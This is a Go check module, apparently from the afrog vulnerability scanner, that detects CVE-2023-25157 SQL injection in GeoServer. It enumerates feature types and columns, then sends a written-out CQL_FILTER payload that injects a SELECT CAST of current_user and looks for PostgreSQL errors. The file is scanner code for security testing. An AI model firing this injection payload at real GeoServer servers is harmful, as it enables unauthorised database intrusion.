package gox

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/url"
	"regexp"
	"time"

	"github.com/zan8in/afrog/v3/pkg/protocols/http/retryhttpclient"
)

func isInjectable(target string, context string, workspace string, column string) (string, bool, error) {

	parseurl, _ := url.Parse(target)
	body0, _, err := retryhttpclient.GetTimeout(parseurl.String()+context+"/ows?service=wfs&version=1.0.0&request=GetFeature&typeName="+workspace+"&CQL_FILTER=strStartsWith("+column+",'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+current_user)+AS+INTEGER))+--+')+%3d+true", time.Duration(6)*time.Second)
	if err != nil {
		return "", false, err
	}

	if bytes.Contains(body0, []byte("invalid input syntax for type integer")) || bytes.Contains(body0, []byte("PSQLException")) {

		body1, _, err := retryhttpclient.GetTimeout(parseurl.String()+context+"/ows?service=wfs&version=1.0.0&request=GetFeature&typeName="+workspace+"&CQL_FILTER=", time.Duration(6)*time.Second)
		if err != nil {
			return "", false, err
		}
		if bytes.Contains(body1, []byte("invalid input syntax for type integer")) || bytes.Contains(body1, []byte("PSQLException")) {
			return "", false, nil
		}

		return parseurl.String() + context + "/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=" + workspace + "&CQL_FILTER=strStartsWith(" + column + ",'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+current_user)+AS+INTEGER))+--+')+%3d+true", true, nil
	}

	return "", false, nil
}

func CVE_2023_25157(target string, variableMap map[string]any) error {
	variableMap["request"] = nil
	variableMap["response"] = nil
	parseurl, _ := url.Parse(target)

	con := ""
	var capabilitiesResp []byte

	body0, status0, err := retryhttpclient.GetTimeout(parseurl.String()+"/ows?service=WFS&version=1.0.0&request=GetCapabilities", time.Duration(6)*time.Second)
	if err != nil {
		return err
	}
	if status0 != 200 {
		body1, status1, err := retryhttpclient.GetTimeout(parseurl.String()+"/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", time.Duration(6)*time.Second)
		if err != nil {
			return err
		}
		if status1 != 200 {
			return nil
		} else {
			capabilitiesResp = body1
			con = "/geoserver"
		}
	} else {
		capabilitiesResp = body0
	}

	// 获取所有 workspace
	var workspaces []string
	blacklist := []string{
		"ne:boundary_lines", "ne:coastlines", "ne:countries", "tiger:poly_landmarks", "tiger:poi",
		"tiger:tiger_roads", "ne:populated_places", "sf:archsites", "sf:bugsites", "sf:restricted", "sf:roads",
		"sf:streams", "topp:tasmania_cities", "topp:tasmania_roads", "topp:tasmania_state_boundaries",
		"topp:tasmania_water_bodies", "topp:states", "tiger:giant_polygon",
	}
	pattern, err := regexp.Compile(`<FeatureType><Name>(.*?)</Name>`)
	if err != nil {
		return err
	}
	for _, match := range pattern.FindAllStringSubmatch(string(capabilitiesResp), -1) {
		if StringIn(match[1], blacklist) {
			continue
		}
		workspaces = append(workspaces, url.QueryEscape(match[1]))
	}

	for _, workspace := range workspaces {

		body2, _, err := retryhttpclient.GetTimeout(parseurl.String()+con+"/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName="+workspace, time.Duration(6)*time.Second)
		if err != nil {
			return err
		}

		var data map[string]interface{}
		b := body2
		if err != nil {
			continue
		}
		if err := json.NewDecoder(bytes.NewReader(b)).Decode(&data); err != nil {
			continue
		}

		featureTypes := data["featureTypes"].([]interface{})
		for _, featureType := range featureTypes {
			featureType, ok := featureType.(map[string]interface{})
			if !ok {
				err = fmt.Errorf("featureType is %v", featureType)
				continue
			}
			properties := featureType["properties"]
			if properties == nil {
				continue
			}
			propertiesConvert, ok := properties.([]interface{})
			if !ok {
				err = fmt.Errorf("properties is %v", properties)
				continue
			}
			for _, property := range propertiesConvert {
				property, ok := property.(map[string]interface{})
				if !ok {
					err = fmt.Errorf("property is %v", property)
					continue
				}
				column, ok := property["name"]
				if !ok {
					continue
				}
				columnStr, ok := column.(string)
				if !ok {
					err = fmt.Errorf("column is %v", column)
					continue
				}
				if fulltarget, ok, err := isInjectable(target, con, workspace, columnStr); err != nil {
					continue
				} else if ok {
					setResponse("vulnerable", variableMap)
					setRequest(fulltarget, variableMap)
					setTarget(target, variableMap)
					setFullTarget(fulltarget, variableMap)
				}
			}
		}
	}

	return nil
}

func init() {
	funcMap["CVE-2023-25157"] = CVE_2023_25157
}
func StringIn(s string, slice []string) bool {
	for _, v := range slice {
		if v == s {
			return true
		}
	}
	return false
}
